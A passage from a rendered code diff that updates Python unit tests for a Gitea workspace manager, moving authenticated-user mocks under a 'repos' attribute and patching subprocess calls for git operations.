mock_client.repos = MagicMock()
|
||||||
mock_user = MagicMock()
|
mock_user = MagicMock()
|
||||||
mock_user.full_name = "Agent Tester"
|
mock_user.full_name = "Agent Tester"
|
||||||
mock_user.login = "agent-test"
|
mock_user.login = "agent-test"
|
||||||
mock_user.email = "agent-test@example.com"
|
mock_user.email = "agent-test@example.com"
|
||||||
mock_client.get_authenticated_user.return_value = mock_user
|
mock_client.repos.get_authenticated_user.return_value = mock_user
|
||||||
|
|
||||||
workspace = WorkspaceManager()
|
workspace = WorkspaceManager()
|
||||||
|
|
||||||
@@ -64,13 +64,15 @@ def test_workspace_manager_clone_repo(
|
|||||||
mock_configure.assert_called_once_with(mock_repo_path)
|
mock_configure.assert_called_once_with(mock_repo_path)
|
||||||
|
|
||||||
|
|
||||||
|
@patch("gitea.workspace.subprocess.run")
|
||||||
@patch("gitea.workspace.GiteaClient")
|
@patch("gitea.workspace.GiteaClient")
|
||||||
def test_workspace_manager_fails_if_no_authenticated_user(
|
def test_workspace_manager_fails_if_no_authenticated_user(
|
||||||
mock_client_class: MagicMock
|
mock_client_class: MagicMock, mock_run: MagicMock
|
||||||
) -> None:
|
) -> None:
|
||||||
mock_client = MagicMock()
|
mock_client = MagicMock()
|
||||||
mock_client_class.return_value = mock_client
|
mock_client_class.return_value = mock_client
|
||||||
mock_client.get_authenticated_user.return_value = None
|
mock_client.repos = MagicMock()
|
||||||
|
mock_client.repos.get_authenticated_user.return_value = None
|
||||||
|
|
||||||
workspace = WorkspaceManager()
|
workspace = WorkspaceManager()
|
||||||
with pytest.raises(RuntimeError, match="No authenticated user found."):
|
with pytest.raises(RuntimeError, match="No authenticated user found."):
|
||||||
@@ -80,15 +82,17 @@ def test_workspace_manager_fails_if_no_authenticated_user(
|
|||||||
workspace._configure_repo_user(Path("/tmp/mock-repo"))
|
workspace._configure_repo_user(Path("/tmp/mock-repo"))
|
||||||
|
|
||||||
|
|
||||||
|
@patch("gitea.workspace.subprocess.run")
|
||||||
@patch("gitea.workspace.GiteaClient")
|
@patch("gitea.workspace.GiteaClient")
|
||||||
def test_workspace_manager_fails_if_authenticated_user_has_no_login(
|
def test_workspace_manager_fails_if_authenticated_user_has_no_login(
|
||||||
mock_client_class: MagicMock
|
mock_client_class: MagicMock, mock_run: MagicMock
|
||||||
) -> None:
|
) -> None:
|
||||||
mock_client = MagicMock()
|
mock_client = MagicMock()
|
||||||
mock_client_class.return_value = mock_client
|
mock_client_class.return_value = mock_client
|
||||||
|
mock_client.repos = MagicMock()
|
||||||
mock_user = MagicMock()
|
mock_user = MagicMock()
|
||||||
mock_user.login = ""
|
mock_user.login = ""
|
||||||
mock_client.get_authenticated_user.return_value = mock_user
|
mock_client.repos.get_authenticated_user.return_value = mock_user
|
||||||
|
|
||||||
workspace = WorkspaceManager()
|
workspace = WorkspaceManager()
|
||||||
with pytest.raises(RuntimeError, match="No authenticated user found."):
|
with pytest.raises(RuntimeError, match="No authenticated user found."):
|
||||||
@@ -101,17 +105,17 @@ def test_workspace_manager_fails_if_authenticated_user_has_no_login(
|
|||||||
@patch("gitea.workspace.subprocess.run")
|
@patch("gitea.workspace.subprocess.run")
|
||||||
@patch("gitea.workspace.GiteaClient")
|
@patch("gitea.workspace.GiteaClient")
|
||||||
def test_workspace_manager_sanitize_repo_no_changes(
|
def test_workspace_manager_sanitize_repo_no_changes(
|
||||||
mock_client_class: MagicMock,
|
mock_client_class: MagicMock, mock_run: MagicMock
|
||||||
mock_run: MagicMock
|
|
||||||
) -> None:
|
) -> None:
|
||||||
# Setup Gitea client mock
|
# Setup Gitea client mock
|
||||||
mock_client = MagicMock()
|
mock_client = MagicMock()
|
||||||
mock_client_class.return_value = mock_client
|
mock_client_class.return_value = mock_client
|
||||||
|
mock_client.repos = MagicMock()
|
||||||
mock_user = MagicMock()
|
mock_user = MagicMock()
|
||||||
mock_user.full_name = "Agent Tester"
|
mock_user.full_name = "Agent Tester"
|
||||||
mock_user.login = "agent-test"
|
mock_user.login = "agent-test"
|
||||||
mock_user.email = "agent-test@example.com"
|
mock_user.email = "agent-test@example.com"
|
||||||
mock_client.get_authenticated_user.return_value = mock_user
|
mock_client.repos.get_authenticated_user.return_value = mock_user
|
||||||
|
|
||||||
# Mock subprocess.run for status check and others
|
# Mock subprocess.run for status check and others
|
||||||
def mock_run_side_effect(args: list[str], **kwargs: Any) -> MagicMock:
|
def mock_run_side_effect(args: list[str], **kwargs: Any) -> MagicMock:
|
||||||
@@ -144,17 +148,17 @@ def test_workspace_manager_sanitize_repo_no_changes(
|
|||||||
@patch("gitea.workspace.subprocess.run")
|
@patch("gitea.workspace.subprocess.run")
|
||||||
@patch("gitea.workspace.GiteaClient")
|
@patch("gitea.workspace.GiteaClient")
|
||||||
def test_workspace_manager_sanitize_repo_with_changes(
|
def test_workspace_manager_sanitize_repo_with_changes(
|
||||||
mock_client_class: MagicMock,
|
mock_client_class: MagicMock, mock_run: MagicMock
|
||||||
mock_run: MagicMock
|
|
||||||
) -> None:
|
) -> None:
|
||||||
# Setup Gitea client mock
|
# Setup Gitea client mock
|
||||||
mock_client = MagicMock()
|
mock_client = MagicMock()
|
||||||
mock_client_class.return_value = mock_client
|
mock_client_class.return_value = mock_client
|
||||||
|
mock_client.repos = MagicMock()
|
||||||
mock_user = MagicMock()
|
mock_user = MagicMock()
|
||||||
mock_user.full_name = "Agent Tester"
|
mock_user.full_name = "Agent Tester"
|
||||||
mock_user.login = "agent-test"
|
mock_user.login = "agent-test"
|
||||||
mock_user.email = "agent-test@example.com"
|
mock_user.email = "agent-test@example.com"
|
||||||
mock_client.get_authenticated_user.return_value = mock_user
|
mock_client.repos.get_authenticated_user.return_value = mock_user
|
||||||
|
|
||||||
# Mock subprocess.run to show modified files
|
# Mock subprocess.run to show modified files
|
||||||
def mock_run_side_effect(args: list[str], **kwargs: Any) -> MagicMock:
|
def mock_run_side_effect(args: list[str], **kwargs: Any) -> MagicMock:
|
||||||
@@ -183,20 +187,21 @@ def test_workspace_manager_sanitize_repo_with_changes(
|
|||||||
@patch("gitea.workspace.subprocess.run")
|
@patch("gitea.workspace.subprocess.run")
|
||||||
@patch("gitea.workspace.GiteaClient")
|
@patch("gitea.workspace.GiteaClient")
|
||||||
def test_workspace_manager_sanitize_repo_fails(
|
def test_workspace_manager_sanitize_repo_fails(
|
||||||
mock_client_class: MagicMock,
|
mock_client_class: MagicMock, mock_run: MagicMock
|
||||||
mock_run: MagicMock
|
|
||||||
) -> None:
|
) -> None:
|
||||||
# Setup Gitea client mock
|
# Setup Gitea client mock
|
||||||
mock_client = MagicMock()
|
mock_client = MagicMock()
|
||||||
mock_client_class.return_value = mock_client
|
mock_client_class.return_value = mock_client
|
||||||
|
mock_client.repos = MagicMock()
|
||||||
mock_user = MagicMock()
|
mock_user = MagicMock()
|
||||||
mock_user.full_name = "Agent Tester"
|
mock_user.full_name = "Agent Tester"
|
||||||
mock_user.login = "agent-test"
|
mock_user.login = "agent-test"
|
||||||
mock_user.email = "agent-test@example.com"
|
mock_user.email = "agent-test@example.com"
|
||||||
mock_client.get_authenticated_user.return_value = mock_user
|
mock_client.repos.get_authenticated_user.return_value = mock_user
|
||||||
|
|
||||||
# Mock remote set-url to fail
|
# Mock remote set-url to fail
|
||||||
import subprocess
|
import subprocess
|
||||||
|
|
||||||
mock_run.side_effect = subprocess.CalledProcessError(1, "git remote set-url")
|
mock_run.side_effect = subprocess.CalledProcessError(1, "git remote set-url")
|
||||||
|
|
||||||
workspace = WorkspaceManager()
|
workspace = WorkspaceManager()
|
||||||
|
|||||||
Reference in New Issue
Block a user